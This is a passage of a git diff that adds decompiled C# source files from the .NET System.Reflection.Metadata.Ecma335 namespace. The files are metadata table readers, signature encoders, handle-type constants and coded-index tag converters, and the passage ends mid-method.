RowSize; + return Block.PeekUInt32(num + _OffsetOffset); + } + + internal FieldDefinitionHandle GetField(int rowId) + { + int num = (rowId - 1) * RowSize; + return FieldDefinitionHandle.FromRowId(Block.PeekReference(num + _FieldOffset, _IsFieldTableRowRefSizeSmall)); + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _FieldOffset, _IsFieldTableRowRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldMarshalTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldMarshalTableReader.cs new file mode 100644 index 0000000..fea70ff --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldMarshalTableReader.cs @@ -0,0 +1,58 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct FieldMarshalTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsHasFieldMarshalRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _ParentOffset; + + private readonly int _NativeTypeOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal FieldMarshalTableReader(int numberOfRows, bool declaredSorted, int hasFieldMarshalRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsHasFieldMarshalRefSizeSmall = hasFieldMarshalRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _ParentOffset = 0; + _NativeTypeOffset = _ParentOffset + hasFieldMarshalRefSize; + RowSize = _NativeTypeOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.FieldMarshal); + } + } + + internal EntityHandle GetParent(int rowId) + { + int num = (rowId - 1) * RowSize; + return HasFieldMarshalTag.ConvertToHandle(Block.PeekTaggedReference(num + _ParentOffset, _IsHasFieldMarshalRefSizeSmall)); + } + + internal BlobHandle GetNativeType(int rowId) + { + int num = (rowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _NativeTypeOffset, _IsBlobHeapRefSizeSmall)); + } + + internal int FindFieldMarshalRowId(EntityHandle handle) + { + int num = Block.BinarySearchReference(NumberOfRows, RowSize, _ParentOffset, HasFieldMarshalTag.ConvertToTag(handle), _IsHasFieldMarshalRefSizeSmall); + return num + 1; + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _ParentOffset, _IsHasFieldMarshalRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldPtrTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldPtrTableReader.cs new file mode 100644 index 0000000..e11cdd1 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldPtrTableReader.cs @@ -0,0 +1,36 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct FieldPtrTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsFieldTableRowRefSizeSmall; + + private readonly int _FieldOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal FieldPtrTableReader(int numberOfRows, int fieldTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsFieldTableRowRefSizeSmall = fieldTableRowRefSize == 2; + _FieldOffset = 0; + RowSize = _FieldOffset + fieldTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal FieldDefinitionHandle GetFieldFor(int rowId) + { + int num = (rowId - 1) * RowSize; + return FieldDefinitionHandle.FromRowId(Block.PeekReference(num + _FieldOffset, _IsFieldTableRowRefSizeSmall)); + } + + internal int GetRowIdForFieldDefRow(int fieldDefRowId) + { + return Block.LinearSearchReference(RowSize, _FieldOffset, (uint)fieldDefRowId, _IsFieldTableRowRefSizeSmall) + 1; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldRVATableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldRVATableReader.cs new file mode 100644 index 0000000..0a46780 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldRVATableReader.cs @@ -0,0 +1,49 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct FieldRVATableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsFieldTableRowRefSizeSmall; + + private readonly int _RvaOffset; + + private readonly int _FieldOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal FieldRVATableReader(int numberOfRows, bool declaredSorted, int fieldTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsFieldTableRowRefSizeSmall = fieldTableRowRefSize == 2; + _RvaOffset = 0; + _FieldOffset = _RvaOffset + 4; + RowSize = _FieldOffset + fieldTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.FieldRva); + } + } + + internal int GetRva(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekInt32(num + _RvaOffset); + } + + internal int FindFieldRvaRowId(int fieldDefRowId) + { + int num = Block.BinarySearchReference(NumberOfRows, RowSize, _FieldOffset, (uint)fieldDefRowId, _IsFieldTableRowRefSizeSmall); + return num + 1; + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _FieldOffset, _IsFieldTableRowRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldTableReader.cs new file mode 100644 index 0000000..5183ba1 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldTableReader.cs @@ -0,0 +1,52 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct FieldTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _FlagsOffset; + + private readonly int _NameOffset; + + private readonly int _SignatureOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal FieldTableReader(int numberOfRows, int stringHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _FlagsOffset = 0; + _NameOffset = _FlagsOffset + 2; + _SignatureOffset = _NameOffset + stringHeapRefSize; + RowSize = _SignatureOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal StringHandle GetName(FieldDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal FieldAttributes GetFlags(FieldDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (FieldAttributes)Block.PeekUInt16(num + _FlagsOffset); + } + + internal BlobHandle GetSignature(FieldDefinitionHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _SignatureOffset, _IsBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldTypeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldTypeEncoder.cs new file mode 100644 index 0000000..1114aca --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FieldTypeEncoder.cs @@ -0,0 +1,30 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct FieldTypeEncoder +{ + public BlobBuilder Builder { get; } + + public FieldTypeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public CustomModifiersEncoder CustomModifiers() + { + return new CustomModifiersEncoder(Builder); + } + + public SignatureTypeEncoder Type(bool isByRef = false) + { + if (isByRef) + { + Builder.WriteByte(16); + } + return new SignatureTypeEncoder(Builder); + } + + public void TypedReference() + { + Builder.WriteByte(22); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FileTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FileTableReader.cs new file mode 100644 index 0000000..29d0bc9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FileTableReader.cs @@ -0,0 +1,52 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct FileTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _FlagsOffset; + + private readonly int _NameOffset; + + private readonly int _HashValueOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal FileTableReader(int numberOfRows, int stringHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _FlagsOffset = 0; + _NameOffset = _FlagsOffset + 4; + _HashValueOffset = _NameOffset + stringHeapRefSize; + RowSize = _HashValueOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal BlobHandle GetHashValue(AssemblyFileHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _HashValueOffset, _IsBlobHeapRefSizeSmall)); + } + + internal uint GetFlags(AssemblyFileHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return Block.PeekUInt32(num + _FlagsOffset); + } + + internal StringHandle GetName(AssemblyFileHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FixedArgumentsEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FixedArgumentsEncoder.cs new file mode 100644 index 0000000..657ad0d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FixedArgumentsEncoder.cs @@ -0,0 +1,16 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct FixedArgumentsEncoder +{ + public BlobBuilder Builder { get; } + + public FixedArgumentsEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public LiteralEncoder AddArgument() + { + return new LiteralEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FunctionPointerAttributes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FunctionPointerAttributes.cs new file mode 100644 index 0000000..ba0ed33 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/FunctionPointerAttributes.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata.Ecma335; + +public enum FunctionPointerAttributes +{ + None = 0, + HasThis = 32, + HasExplicitThis = 96 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericParamConstraintTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericParamConstraintTableReader.cs new file mode 100644 index 0000000..f38d7f6 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericParamConstraintTableReader.cs @@ -0,0 +1,62 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct GenericParamConstraintTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsGenericParamTableRowRefSizeSmall; + + private readonly bool _IsTypeDefOrRefRefSizeSmall; + + private readonly int _OwnerOffset; + + private readonly int _ConstraintOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal GenericParamConstraintTableReader(int numberOfRows, bool declaredSorted, int genericParamTableRowRefSize, int typeDefOrRefRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsGenericParamTableRowRefSizeSmall = genericParamTableRowRefSize == 2; + _IsTypeDefOrRefRefSizeSmall = typeDefOrRefRefSize == 2; + _OwnerOffset = 0; + _ConstraintOffset = _OwnerOffset + genericParamTableRowRefSize; + RowSize = _ConstraintOffset + typeDefOrRefRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.GenericParamConstraint); + } + } + + internal GenericParameterConstraintHandleCollection FindConstraintsForGenericParam(GenericParameterHandle genericParameter) + { + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, _OwnerOffset, (uint)genericParameter.RowId, _IsGenericParamTableRowRefSizeSmall, out var startRowNumber, out var endRowNumber); + if (startRowNumber == -1) + { + return default(GenericParameterConstraintHandleCollection); + } + return new GenericParameterConstraintHandleCollection(startRowNumber + 1, (ushort)(endRowNumber - startRowNumber + 1)); + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _OwnerOffset, _IsGenericParamTableRowRefSizeSmall); + } + + internal EntityHandle GetConstraint(GenericParameterConstraintHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return TypeDefOrRefTag.ConvertToHandle(Block.PeekTaggedReference(num + _ConstraintOffset, _IsTypeDefOrRefRefSizeSmall)); + } + + internal GenericParameterHandle GetOwner(GenericParameterConstraintHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return GenericParameterHandle.FromRowId(Block.PeekReference(num + _OwnerOffset, _IsGenericParamTableRowRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericParamTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericParamTableReader.cs new file mode 100644 index 0000000..e93ad1c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericParamTableReader.cs @@ -0,0 +1,98 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct GenericParamTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsTypeOrMethodDefRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _NumberOffset; + + private readonly int _FlagsOffset; + + private readonly int _OwnerOffset; + + private readonly int _NameOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal GenericParamTableReader(int numberOfRows, bool declaredSorted, int typeOrMethodDefRefSize, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsTypeOrMethodDefRefSizeSmall = typeOrMethodDefRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _NumberOffset = 0; + _FlagsOffset = _NumberOffset + 2; + _OwnerOffset = _FlagsOffset + 2; + _NameOffset = _OwnerOffset + typeOrMethodDefRefSize; + RowSize = _NameOffset + stringHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.GenericParam); + } + } + + internal ushort GetNumber(GenericParameterHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return Block.PeekUInt16(num + _NumberOffset); + } + + internal GenericParameterAttributes GetFlags(GenericParameterHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (GenericParameterAttributes)Block.PeekUInt16(num + _FlagsOffset); + } + + internal StringHandle GetName(GenericParameterHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal EntityHandle GetOwner(GenericParameterHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return TypeOrMethodDefTag.ConvertToHandle(Block.PeekTaggedReference(num + _OwnerOffset, _IsTypeOrMethodDefRefSizeSmall)); + } + + internal GenericParameterHandleCollection FindGenericParametersForType(TypeDefinitionHandle typeDef) + { + ushort genericParamCount = 0; + uint searchCodedTag = TypeOrMethodDefTag.ConvertTypeDefRowIdToTag(typeDef); + int firstRowId = BinarySearchTag(searchCodedTag, ref genericParamCount); + return new GenericParameterHandleCollection(firstRowId, genericParamCount); + } + + internal GenericParameterHandleCollection FindGenericParametersForMethod(MethodDefinitionHandle methodDef) + { + ushort genericParamCount = 0; + uint searchCodedTag = TypeOrMethodDefTag.ConvertMethodDefToTag(methodDef); + int firstRowId = BinarySearchTag(searchCodedTag, ref genericParamCount); + return new GenericParameterHandleCollection(firstRowId, genericParamCount); + } + + private int BinarySearchTag(uint searchCodedTag, ref ushort genericParamCount) + { + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, _OwnerOffset, searchCodedTag, _IsTypeOrMethodDefRefSizeSmall, out var startRowNumber, out var endRowNumber); + if (startRowNumber == -1) + { + genericParamCount = 0; + return 0; + } + genericParamCount = (ushort)(endRowNumber - startRowNumber + 1); + return startRowNumber + 1; + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _OwnerOffset, _IsTypeOrMethodDefRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericTypeArgumentsEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericTypeArgumentsEncoder.cs new file mode 100644 index 0000000..28289bb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GenericTypeArgumentsEncoder.cs @@ -0,0 +1,16 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct GenericTypeArgumentsEncoder +{ + public BlobBuilder Builder { get; } + + public GenericTypeArgumentsEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public SignatureTypeEncoder AddArgument() + { + return new SignatureTypeEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GuidHeap.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GuidHeap.cs new file mode 100644 index 0000000..4fb5413 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/GuidHeap.cs @@ -0,0 +1,17 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct GuidHeap(MemoryBlock block) +{ + internal readonly MemoryBlock Block = block; + + internal Guid GetGuid(GuidHandle handle) + { + if (handle.IsNil) + { + return default(Guid); + } + return Block.PeekGuid((handle.Index - 1) * 16); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HandleType.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HandleType.cs new file mode 100644 index 0000000..771a3b2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HandleType.cs @@ -0,0 +1,102 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal static class HandleType +{ + internal const uint Module = 0u; + + internal const uint TypeRef = 1u; + + internal const uint TypeDef = 2u; + + internal const uint FieldDef = 4u; + + internal const uint MethodDef = 6u; + + internal const uint ParamDef = 8u; + + internal const uint InterfaceImpl = 9u; + + internal const uint MemberRef = 10u; + + internal const uint Constant = 11u; + + internal const uint CustomAttribute = 12u; + + internal const uint DeclSecurity = 14u; + + internal const uint Signature = 17u; + + internal const uint EventMap = 18u; + + internal const uint Event = 20u; + + internal const uint PropertyMap = 21u; + + internal const uint Property = 23u; + + internal const uint MethodSemantics = 24u; + + internal const uint MethodImpl = 25u; + + internal const uint ModuleRef = 26u; + + internal const uint TypeSpec = 27u; + + internal const uint Assembly = 32u; + + internal const uint AssemblyRef = 35u; + + internal const uint File = 38u; + + internal const uint ExportedType = 39u; + + internal const uint ManifestResource = 40u; + + internal const uint NestedClass = 41u; + + internal const uint GenericParam = 42u; + + internal const uint MethodSpec = 43u; + + internal const uint GenericParamConstraint = 44u; + + internal const uint Document = 48u; + + internal const uint MethodDebugInformation = 49u; + + internal const uint LocalScope = 50u; + + internal const uint LocalVariable = 51u; + + internal const uint LocalConstant = 52u; + + internal const uint ImportScope = 53u; + + internal const uint AsyncMethod = 54u; + + internal const uint CustomDebugInformation = 55u; + + internal const uint UserString = 112u; + + internal const uint Blob = 113u; + + internal const uint Guid = 114u; + + internal const uint String = 120u; + + internal const uint String1 = 121u; + + internal const uint String2 = 122u; + + internal const uint String3 = 123u; + + internal const uint Namespace = 124u; + + internal const uint HeapMask = 112u; + + internal const uint TypeMask = 127u; + + internal const uint VirtualBit = 128u; + + internal const uint NonVirtualStringTypeMask = 3u; +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasConstantTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasConstantTag.cs new file mode 100644 index 0000000..598cfc4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasConstantTag.cs @@ -0,0 +1,47 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class HasConstantTag +{ + internal const int NumberOfBits = 2; + + internal const int LargeRowSize = 16384; + + internal const uint Field = 0u; + + internal const uint Param = 1u; + + internal const uint Property = 2u; + + internal const uint TagMask = 3u; + + internal const TableMask TablesReferenced = TableMask.Field | TableMask.Param | TableMask.Property; + + internal const uint TagToTokenTypeByteVector = 1509380u; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint hasConstant) + { + uint num = (uint)(1509380 >>> (int)((hasConstant & 3) << 3) << 24); + uint num2 = hasConstant >> 2; + if (num == 0 || (num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } + + internal static uint ConvertToTag(EntityHandle token) + { + HandleKind kind = token.Kind; + uint rowId = (uint)token.RowId; + return kind switch + { + HandleKind.FieldDefinition => (rowId << 2) | 0, + HandleKind.Parameter => (rowId << 2) | 1, + HandleKind.PropertyDefinition => (rowId << 2) | 2, + _ => 0u, + }; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasCustomAttributeTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasCustomAttributeTag.cs new file mode 100644 index 0000000..1e383ea --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasCustomAttributeTag.cs @@ -0,0 +1,112 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class HasCustomAttributeTag +{ + internal const int NumberOfBits = 5; + + internal const int LargeRowSize = 2048; + + internal const uint MethodDef = 0u; + + internal const uint Field = 1u; + + internal const uint TypeRef = 2u; + + internal const uint TypeDef = 3u; + + internal const uint Param = 4u; + + internal const uint InterfaceImpl = 5u; + + internal const uint MemberRef = 6u; + + internal const uint Module = 7u; + + internal const uint DeclSecurity = 8u; + + internal const uint Property = 9u; + + internal const uint Event = 10u; + + internal const uint StandAloneSig = 11u; + + internal const uint ModuleRef = 12u; + + internal const uint TypeSpec = 13u; + + internal const uint Assembly = 14u; + + internal const uint AssemblyRef = 15u; + + internal const uint File = 16u; + + internal const uint ExportedType = 17u; + + internal const uint ManifestResource = 18u; + + internal const uint GenericParam = 19u; + + internal const uint GenericParamConstraint = 20u; + + internal const uint MethodSpec = 21u; + + internal const uint TagMask = 31u; + + internal const uint InvalidTokenType = uint.MaxValue; + + internal static uint[] TagToTokenTypeArray = new uint[32] + { + 100663296u, 67108864u, 16777216u, 33554432u, 134217728u, 150994944u, 167772160u, 0u, 234881024u, 385875968u, + 335544320u, 285212672u, 436207616u, 452984832u, 536870912u, 587202560u, 637534208u, 654311424u, 671088640u, 704643072u, + 738197504u, 721420288u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, + 4294967295u, 4294967295u + }; + + internal const TableMask TablesReferenced = TableMask.Module | TableMask.TypeRef | TableMask.TypeDef | TableMask.Field | TableMask.MethodDef | TableMask.Param | TableMask.InterfaceImpl | TableMask.MemberRef | TableMask.DeclSecurity | TableMask.StandAloneSig | TableMask.Event | TableMask.Property | TableMask.ModuleRef | TableMask.TypeSpec | TableMask.Assembly | TableMask.AssemblyRef | TableMask.File | TableMask.ExportedType | TableMask.ManifestResource | TableMask.GenericParam | TableMask.MethodSpec | TableMask.GenericParamConstraint; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint hasCustomAttribute) + { + uint num = TagToTokenTypeArray[hasCustomAttribute & 0x1F]; + uint num2 = hasCustomAttribute >> 5; + if (num == uint.MaxValue || (num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } + + internal static uint ConvertToTag(EntityHandle handle) + { + uint type = handle.Type; + uint rowId = (uint)handle.RowId; + return (type >> 24) switch + { + 6u => (rowId << 5) | 0, + 4u => (rowId << 5) | 1, + 1u => (rowId << 5) | 2, + 2u => (rowId << 5) | 3, + 8u => (rowId << 5) | 4, + 9u => (rowId << 5) | 5, + 10u => (rowId << 5) | 6, + 0u => (rowId << 5) | 7, + 14u => (rowId << 5) | 8, + 23u => (rowId << 5) | 9, + 20u => (rowId << 5) | 0xA, + 17u => (rowId << 5) | 0xB, + 26u => (rowId << 5) | 0xC, + 27u => (rowId << 5) | 0xD, + 32u => (rowId << 5) | 0xE, + 35u => (rowId << 5) | 0xF, + 38u => (rowId << 5) | 0x10, + 39u => (rowId << 5) | 0x11, + 40u => (rowId << 5) | 0x12, + 42u => (rowId << 5) | 0x13, + 44u => (rowId << 5) | 0x14, + 43u => (rowId << 5) | 0x15, + _ => 0u, + }; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasCustomDebugInformationTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasCustomDebugInformationTag.cs new file mode 100644 index 0000000..0e535eb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/HasCustomDebugInformationTag.cs @@ -0,0 +1,127 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class HasCustomDebugInformationTag +{ + internal const int NumberOfBits = 5; + + internal const int LargeRowSize = 2048; + + internal const uint MethodDef = 0u; + + internal const uint Field = 1u; + + internal const uint TypeRef = 2u; + + internal const uint TypeDef = 3u; + + internal const uint Param = 4u; + + internal const uint InterfaceImpl = 5u; + + internal const uint MemberRef = 6u; + + internal const uint Module = 7u; + + internal const uint DeclSecurity = 8u; + + internal const uint Property = 9u; + + internal const uint Event = 10u; + + internal const uint StandAloneSig = 11u; + + internal const uint ModuleRef = 12u; + + internal const uint TypeSpec = 13u; + + internal const uint Assembly = 14u; + + internal const uint AssemblyRef = 15u; + + internal const uint File = 16u; + + internal const uint ExportedType = 17u; + + internal const uint ManifestResource = 18u; + + internal const uint GenericParam = 19u; + + internal const uint GenericParamConstraint = 20u; + + internal const uint MethodSpec = 21u; + + internal const uint Document = 22u; + + internal const uint LocalScope = 23u; + + internal const uint LocalVariable = 24u; + + internal const uint LocalConstant = 25u; + + internal const uint Import = 26u; + + internal const uint TagMask = 31u; + + internal const uint InvalidTokenType = uint.MaxValue; + + internal static uint[] TagToTokenTypeArray = new uint[32] + { + 100663296u, 67108864u, 16777216u, 33554432u, 134217728u, 150994944u, 167772160u, 0u, 234881024u, 385875968u, + 335544320u, 285212672u, 436207616u, 452984832u, 536870912u, 587202560u, 637534208u, 654311424u, 671088640u, 704643072u, + 738197504u, 721420288u, 805306368u, 838860800u, 855638016u, 872415232u, 889192448u, 4294967295u, 4294967295u, 4294967295u, + 4294967295u, 4294967295u + }; + + internal const TableMask TablesReferenced = TableMask.Module | TableMask.TypeRef | TableMask.TypeDef | TableMask.Field | TableMask.MethodDef | TableMask.Param | TableMask.InterfaceImpl | TableMask.MemberRef | TableMask.DeclSecurity | TableMask.StandAloneSig | TableMask.Event | TableMask.Property | TableMask.ModuleRef | TableMask.TypeSpec | TableMask.Assembly | TableMask.AssemblyRef | TableMask.File | TableMask.ExportedType | TableMask.ManifestResource | TableMask.GenericParam | TableMask.MethodSpec | TableMask.GenericParamConstraint | TableMask.Document | TableMask.LocalScope | TableMask.LocalVariable | TableMask.LocalConstant | TableMask.ImportScope; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint taggedReference) + { + uint num = TagToTokenTypeArray[taggedReference & 0x1F]; + uint num2 = 